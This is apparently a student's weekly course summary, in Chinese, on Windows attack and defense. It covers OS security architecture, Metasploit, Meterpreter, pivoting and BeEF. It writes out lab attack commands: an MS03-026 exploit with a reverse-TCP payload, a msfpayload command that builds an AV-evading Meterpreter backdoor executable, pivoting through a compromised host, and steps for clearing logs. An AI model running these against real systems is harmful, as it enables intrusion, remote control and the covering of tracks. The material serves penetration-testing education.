20169306《网络攻击与防范》第七周学习总结

教材学习

第七章Windows操作系统安全攻防总结

1.Windows操作系统的基本结构

分为运行于处理器特权模式的操作系统内核,以及运行在处理器非特权模式的用户空间代码。采用宏内核模式来进行构架,这使得任意的内核模块或设备驱动程序都可能破坏其他内核模块数据,这种宏内核机制也使得Windows操作系统容易遭受以驱动方式植入内核的Rootkit的危害,为了避免这类攻击,最新的Windows7缺省要求所以请求安装进入内核执行的设备驱动程序都需要经过数字签名,这能够有效地提升内核的安全性。同时,由于用户态程序对操作系统内核特权代码和数据没有直接访问的权利,因此Windows内核模块对恶意的用户态程序具备完善的防御能力。

2.Windows操作系统内核的基本模块包括如下

Windows执行体、Windows内核体、设备驱动程序、硬件抽象层、Windows窗口与图形界面接口内核实现代码。

3.Windows操作系统在用户态的代码模块则包括如下

系统支持进程、环境子系统服务进程、服务进程、用户应用软件、核心子系统DLL。

4.Windows操作系统内核中实现了如下的核心机制

Windows进程和线程管理机制、Windows内存管理机制(Windows的虚拟内存空间分为系统核心内存区与用户内存区间两部分,系统核心内存用于映射内核、HAL、Win32k.sys等内核执行模块,并存储内核内存对象,对于内核中运行的特权代码,则可通过DKOM技术来进行枚举和操纵)、Windows文件管理机制(NTFS)、Windows注册表管理机制(注册表中的系统自启动挂接点上注册的应用软件可以随系统引导而自动运行,因此也是很多恶意代码及流氓软件普遍的攻击目标)、Windows的网络机制(从OSI网络参考模型的物理层到应用层,各层上对应的Windows网络组件模块包括如下:①各层网卡硬件的设备驱动程序,处于OSI参考模型的物理层②NDIS库及miniport驱动程序,位于OSI链路层③TDI,对应OSI网络层与传输层④网络APIDLL及TDI客户端,对应OSI会话层与表示层⑤网络应用程序与服务进程,对应OSI应用层)。

5.Windows安全体系结构

Windows操作系统基于引用监控器模型来实现基本的对象安全模型。系统中所有主体对客体的访问都通过引用监控器作为中介,由引用监控器根据安全访问控制策略来进行授权访问,所有访问记录也都由引用监控器生成审计日志。Windows操作系统实现基础的安全机制,其中最核心的是位于内核的SRM安全引用监控器,以及位于用户态的LSASS安全服务,它们与Winlogon/Netlogon及Eventlog等服务一起,实现了对主体用户的身份认证机制,对所有资源对象的访问控制机制,以及对访问的安全审计机制。
Windows身份认证机制:Windows操作系统中以安全主体概念来包含所有进行系统资源访问请求的实体对象,有用户、用户组和计算机三大类,对于每个安全主体,以时间和空间上都全局唯一的SID安全标识符来进行标识。账户权限的根本作用就是限制这些账户内运行程序对系统资源对象的访问。Windows系统中拥有一些内建账户,如拥有最高权限的本地Administrator账户,作为自动运行系统进程环境的SYSTEM/LocalSystem账户,具有相对极少权限的Guest匿名访问用户,以及IUSR_Machinename IIS服务的匿名网络访问账户等。而这些账户在黑客眼中,本地Administrator和SYSTEM账户拥有最高的权限,是他们攻击的终极目标。Windows系统的内建用户组包括:本地最高权限用户组Administrators、具有单一方面系统权限的Account/Backup/Server/Print Operators等操作组、用于容纳服务账户的Network Service与Local Service用户组,以及所有用户账户所在的Users组等。 Windows用户账户的口令字经过加密处理之后被保存于SAM或者活动目录AD中,其中本地用户账户口令信息经过不可逆的128位随机密钥Hash加密后存储在SAM文件中,SAM存储于%systemroot%\system32\config\sam文件系统路径位置,并在注册表的HKEY_LOCAL MACHINE\SAM存有副本。Windows域账户口令信息则保存在域控制器的活动目录AD中,加密方式与单机平台一致,存储文件系统位置是域控制器的%systemroot%\ntds\ntds.dit路径。Windows支持本地身份认证和网络身份认证两种方式,分别对在本地系统登录和远程网络访问的主主体进行合法性验证。网络身份认证过程由LSASS服务的Netlogon模块主导完成。

6.Windows授权与访问控制机制

Windows的授权与访问控制机制是基于引用监控器模型,由内核中的SRM模块与用户态的LSASS服务共同来实施。在Windows服务器操作系统中,用户可以执行内建的whoami命令来查看当前用户的访问令牌信息。Windows对于系统中所有需保护的资源都抽象成对象,具体类型包括文件、目录、注册表键值、内核对象、同步对象、私有对象、管道、内存、通信接口等,而对每个对象会关联一个SD安全描述符,对象安全描述符由如下主要属性组成:Owner SID、Group SID、DACL自主访问控制列表、SACL系统审计访问控制列表。

7.Windows安全审计机制

系统审计策略在本地安全策略中由系统管理员定义,来确定系统对那些事件进行记录。

8.Windows系统的安全漏洞生命周期

系统安全的本质核心在于安全漏洞、渗透攻击及安全检测防御机制之间的攻防博弈与竞赛。所有在安全社区中被公开披露和确认的安全漏洞都将进入到业界知名的CVE、NVD、SecurityFocus、OSVDB等几个通用漏洞信息库中。国内的安全漏洞信息库包括由中国信息安全评测中心维护的中国“国家漏洞库CNNVD”、由国际计算机网络应急技术处理协调中心维护的“国家信息安全漏洞共享平台CNVD”、安全厂商绿盟科技公司维护的绿盟漏洞信息库,以及Sebug网站维护的SSVDB等。针对一个特定的主机系统目标,典型的渗透攻击过程包括漏洞扫描测试、查找针对发现漏洞的渗透代码、实施渗透测试这几个环节。在查找安全漏洞所对应的渗透攻击代码资源时,需要注意的是并非每个已知安全漏洞都能够在互联网上获取到渗透测试者所期望的渗透代码。首先,并非每个已知安全漏洞都存在可用的渗透代码,安全漏洞所在的软件的流行度、漏洞的利用约束条件以及漏洞的危害后果类型等都影响了为该安全漏洞开发渗透攻击代码的价值,另外有些安全漏洞在利用之前就已经被软件厂商所修补,那么也可能导致没人去开发相应的渗透代码,另外一些安全漏洞的利用难度很大,也存在着特定时间里没人有技术能力写出渗透代码的情况,其次,并非所有的渗透代码都是公开的,最后,获取到的渗透代码并非是对所有目标系统环境都适用的。可否达成测试者的预期目标则取决于渗透代码和攻击目标的软件环境是否匹配。

9.使用Metasploit软件实施渗透测试

Metasploit软件采用开发框架和模块组建的可扩展模型,以Ruby语言编写的Metasploit Framework(MSF)库作为整个软件的基础核心,为渗透测试组建的开发与测试提供平台;模块组建是真正实施渗透攻击的代码,包括利用安全漏洞的Exploits模块,进行扫描、查点等其他辅助任务的Auxiliary模块,在目标系统上植入和运行的Shellcode攻击负载Payloads模块,对攻击负载进行编码以躲避检测的Encoders模块,以及对攻击负载进行填充的Nops模块;Metasploit提供多种用户接口,包括Console交互终端、命令行程序运行、Web交互界面以及GUI图形化界面;Metasploit还提供了API接口及插件支持,来支持第三方在MSF基础上开发扩展模块,比如自动化的渗透测试例程等等。

10.使Metasploit Console终端实施渗透测试,只需运行如下命令

①use exploit/windows/dcerpc/ms03_026_dcom,选择针对MS03_026漏洞的渗透攻击模块。②set PAYLOAD generic/shell reverse_tcp,选择该渗透攻击模块适用的攻击负载模块。③set LHOST 192.168.200.2;set RHOST 192.168.200.124,配置该渗透攻击模块和攻击负载模块所必须配置的参数。④exploit,实施渗透攻击过程。⑤在远程控制会话中与目标主机进行交互,可能需要执行“sessions -I”列出当前已建立的远程控制会话,并执行“sessions –i数字”在指定的供给控制会话中与远程目标主机进行交互。

11.远程口令字交换通信窃听与破解

第二种实施远程口令字攻击的经典技术是窃听网络上的口令字交换通信实施破解。应对远程口令猜测与破解这种古老但仍然流行的攻击方式,最根本的防御措施仍然是通过安全培训与教育来让网络中每个用户都能够设置较高安全强度的口令。此外,从技术方面,网络系统管理员还可以实施如下措施,从而降低由于网络中用户设置过于简单的口令所带来的安全风险:①尽量关闭不必要开放的易受远程口令猜测攻击网络服务,包括TCP 139/445端口的SMB服务、TCP135端口的WMI服务、TCP3389端口的TS终端服务以及TCP1433端口的MS SQL Server服务等。②配置主机防火墙来限制对上述端口的服务。③利用网络防火墙来限制到这些服务的访问。④应对远程口令字交换通信窃听与破解攻击最基本的途径是禁用过时而且存在本质上安全缺陷的LanMan与NTLM。⑤对于安全级别较高的Windows系统服务器等主机,管理员可以制定和实施强口令字策略,此外可以设置账户锁定阈值,最后还可以在系统上激活帐户登录失败事件审计功能。

12.Windows网络服务远程渗透攻击

Windows操作系统默认开放135(TCP)、137(UDP)、138(UDP)、139(TCP)与445(TCP)端口,对应的网络服务为MSRPC远程调用服务、NetBIOS网络基本输入/输出系统服务和SMB文件与打印共享服务。

13.针对NetBIOS网络服务的著名漏洞及攻击

NetBIOS网络基本输入输出系统提供了Windows局域网联网的基本支持,包括在UDP137端口上监听的NetBIOS名字服务、UDP138端口上的NetBIOS数据报服务以及TCP139端口上的NetBIOS会话服务。

14.针对SMB网络服务的著名漏洞及攻击

服务消息块SMB是Windows操作系统中最为复杂,也最容易遭受远程渗透攻击的网络服务。SMB空会话是Windows网络中影响范围最广和时间最长的安全弱点之一。

15.针对MSRPC网络服务的著名漏洞及攻击

MSRPC网络服务是微软Windows操作系统对DCE-RPC标准远程过程调用机制的实现。远程过程调用机制是现代操作系统最基本的支撑机制之一,允许一个应用程序能够无缝地通过网络调用远程主机上网络进程中的过程,在MSRPC实现中,可以采用如下的网络传输协议:①ncacn_ip_tcp:TCP/IP传输协议,使用TCP135端口②ncadg_ip_udp:UDP/IP传输协议,使用UDP135端口③ncacn_np:SMB命名管道传输协议,使用SMB的TCP139或445端口④ncalrpc:本地网络RPC传输⑤ncacn_http:HTTP传输协议,基于IIS服务,缺省配置在TCP593端口。支持远程过程调用的服务进程启动时,需要注册自己的服务访问点,接口标识符以及服务版本号,一个特殊的RPC服务——Portmapper将维护RPC服务数据库,为网络应用程序调用指定的RPC服务提供访问点、接口与版本的查询功能支持。

16.针对Windows系统上微软网络服务的远程渗透攻击

IIS Internet服务集成了HTTP、FTP、SMTP、POP、NNTP等网络服务,并支持CGI、ASP、ISAPI等动态编程语言与接口,是微软服务器软件提供网站、电子邮件收发和文件共享服务的主要解决方案。MS SQL Server监听TCP1433与UDP1434端口,支持使用Windows用户账号进行身份认证模式。MS SQL Server自建用户身份认证模式,SQL Server数据库服务的登陆账号加密存储与master数据库的syslogins表中,并对用户进行角色管理和授权访问控制,同时提供访问日志功能,整体安全水平能够达到C2级别。

17.用户敏感数据窃取

对于用户在系统中的文件,攻击者可以执行find、findstr、grep等命令行工具来实施查找,此外,攻击者也可能使用键击记录器来对用户键盘输入进行监听,并期望从中搜索用户登陆某些应用软件、网游、金融网站的口令密码。

18.本地敏感信息窃取防范措施

针对LSA Secrets和其他位置口令字的窃取与破解,目前这种攻击普遍需要攻击者已经具有Administrator的权限,在这种情况下,系统很难防止攻击者获取到这些信息,因此只能通过使用更安全的加密算法保护明文口令字,以及通过安全配置策略避免缓存关键服务器的铭感登陆口令信息,来尽量降低这种攻击造成的安全风险。

19.Windows消踪灭迹

①关闭审计功能(Windows Resource Kit工具包里的auditpol程序可以让他们轻易地关闭审计功能)②清理事件日志(使用Event Viewer事件查看器来打开、读取和清除这台主机上的事件日志)

视频学习

视频二十六:漏洞利用之检索与利用

Searchsploit
1、工具简介
这个项目是由Offensive Security发起的、基于exploit database官方漏洞数据库源的漏洞搜索工具,可以直接在终端搜索漏洞相关信息,如漏洞简介和漏洞验证/利用脚本。
2、使用方法
在kali终端直接输入“searchsploit -h”可以查看其相关参数用法:
light@kali:~# searchsploit -h
Usage : searchsploit [OPTIONS] term1 [term2] ... [termN]
Example: searchsploit oracle windows local
OPTIONS
-c - Perform case-sensitive searches; by default,
searches will try to be greedy
-v - By setting verbose output, description lines
are allowed to overflow their columns
-h, --help - Show help screen

视频二十七:漏洞利用之Metasploit基础

Metasploitable在渗透测试中经常被用到,实际上这套软件包括了很多工具,这些工具组成了一个完整的攻击框架。
一、启动服务
在Kali中使用metaaploie,需要先开启PostgreSQL数据库服务和metasploit服务,然后就可以完整的利用msf数据查询exploit和记录。
service postgresql start service metasploit start
如果不想每次开机都手工启动服务,可以配置随系统启动。
update-rc.d postgresql enable
update-rc.d metasploit enable

二、路径介绍
Kali中msf的路径为/usr/metasploit-framework
Auxiliary:辅助模块,
encoders:供msfencode编码工具使用,具体可以使用
msfencode –l
exploits:攻击模块 每个介绍msf的文章都会提到那个ms08_067_netapi,它就在这个目录下。
payloads:其中列出的是攻击载荷,也就是攻击成功后执行的代码。比如我们常设置的windows/meterpreter/reverse_tcp就在这个文件夹下。
post:后渗透阶段块,在获得meterpreter的shell之后可以使用攻击代码。比如常用的hashdump、arp_scanner就在这里。

三、基本命令
msfpayload:用来生成payload或者shellcode

搜索的时候可以用msfpayload -l |grep "windows"这样的命令查询。-o 选项可以列出payload所需的参数。
msfencode:
msf中的编码器,早期为了编码绕过AV,现常用msfpayload与它编码避免exploit中的坏字符串。
msfconsole:开启metasploit的concle
四、测试示例:发现漏洞,搜索exploit

前期扫描得知,目标21端口vsftpd服务版本为2.3.4,使用msfconsole打开msf的命令行版。
找到匹配项
选择相应功能
设置远程ip地址,端口号用21
攻击成功

视频二十八:漏洞利用之Meterpreter介绍

Meterpreter是Metasploit框架中的一个扩展模块,作为溢出成功后的攻击载荷使用,攻击载荷在溢出攻击成功以后给我们返回一个控制通道。使用它作为攻击载荷能够获得目标系统的一个meterpretershell的链接。
Meterpreter作为后渗透模块有多种类型,并且命令由核心命令和扩展库组成,极大地丰富了攻击方式。其有很多有用的功能。
常用命令:
background:将当前会话放置后台
load/use:加载模块
Interact:切换一个信道
migrate:迁移进程
run:执行一个已有模块,输入run后按两下teb,会列出所有的已有脚本。
Resource:执行一个已有的rc脚本常用的Meterpreter类型为:payload/windows/meterpreter/reverse_tcp
针对windows操作系统,反向连接shell,只用起来比较稳定。
一、生成Meterpreter后门
命令:msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.75.132 LPORT=2333 R | msfencode -t exe -c 5 > /root/door1.exe

生成一个后门就要打开一个监听,接收返回的连接,查看需要的参数。需要两个参数LHOST,LPORT。
将生成的文件模仿入侵的过程移动到靶机里。
set LPORT 2333
set LHOST 192.168.75.132
exploit
background返回到msf里
screenshot桌面截图

视频二十九:Metasploit后渗透测试

怎样设置跳板机?
在跳板机获取一定权限后,需要积极地向内网主机权限发展,获取指定的目标信息,探查系统的漏洞,借助Msf已经得到的Meterpreter后门,可以使后续操作更容易。
1、查看当前网卡、网段信息
先控制一台跳板机,查看相关网卡网段信息
2、添加路由表 run autoroute -s 10.0.0.1
3、开Socks代理 通过使用 auxiliaryver/socks4a模块,创建一个Socks代理,可以作为浏览器,Sqlmp,Namp等使用。
4、通过Background和sessions -i可以自由切换进入Session
5、输入run可以看到Meterpreter上可以做的很多命令
6、获取内网信息run arp_scanner -r 10.0.0.1/24
7、也可上传文件,做端口转发后续测试
8、应用程序/权限维持/Tunnel工具集
9、端口转发 upload lcx.exe c:\

视频三十:漏洞利用之BeeF

对XSS漏洞需要强大框架的支持,如网上的XSS平台。在Kali下,BeeF是一个不逊色于XSS平台的工具。Beef是浏览器攻击框架的简称,是一款专注于浏览器端的渗透测试工具。官网 http://beefproject.com/
代理Proxy功能
选中目标主机,点右键,在菜单中选中Use as Proxy;然后在Rider选项卡中的Forge Request编辑并发送想要发送的内容。

错题总结

1.Linux命令可以ASCII码和16进制单字节方法输入Hello.java的内容为:od -b -tx1 Hello.java和od -tc -tx1 Hello.java
2.Netwox可以产生的数据报文有:IP TCP UDP
3.ARP欺骗破坏了信息的完整性(false)
4.中间人攻击可以破坏信息的机密性和完整性(true)
5.Snort的使用模式中,需要使用-c参数的模式是(网络入侵系统)
6.根据工作的网络协议层次,防火墙技术中工作网络层的是(包过滤)
7.网络安全的动态安全模型的PDR中没有policy

学习进度

1.教材第七章Windows操作系统安全攻防
2.Kali视频26-30

参考资料

1.《网络攻防技术与实践》课本教材
2.kali视频26到30

posted on 2017-04-16 19:22  李琬璐  阅读(522)  评论(2编辑  收藏  举报

导航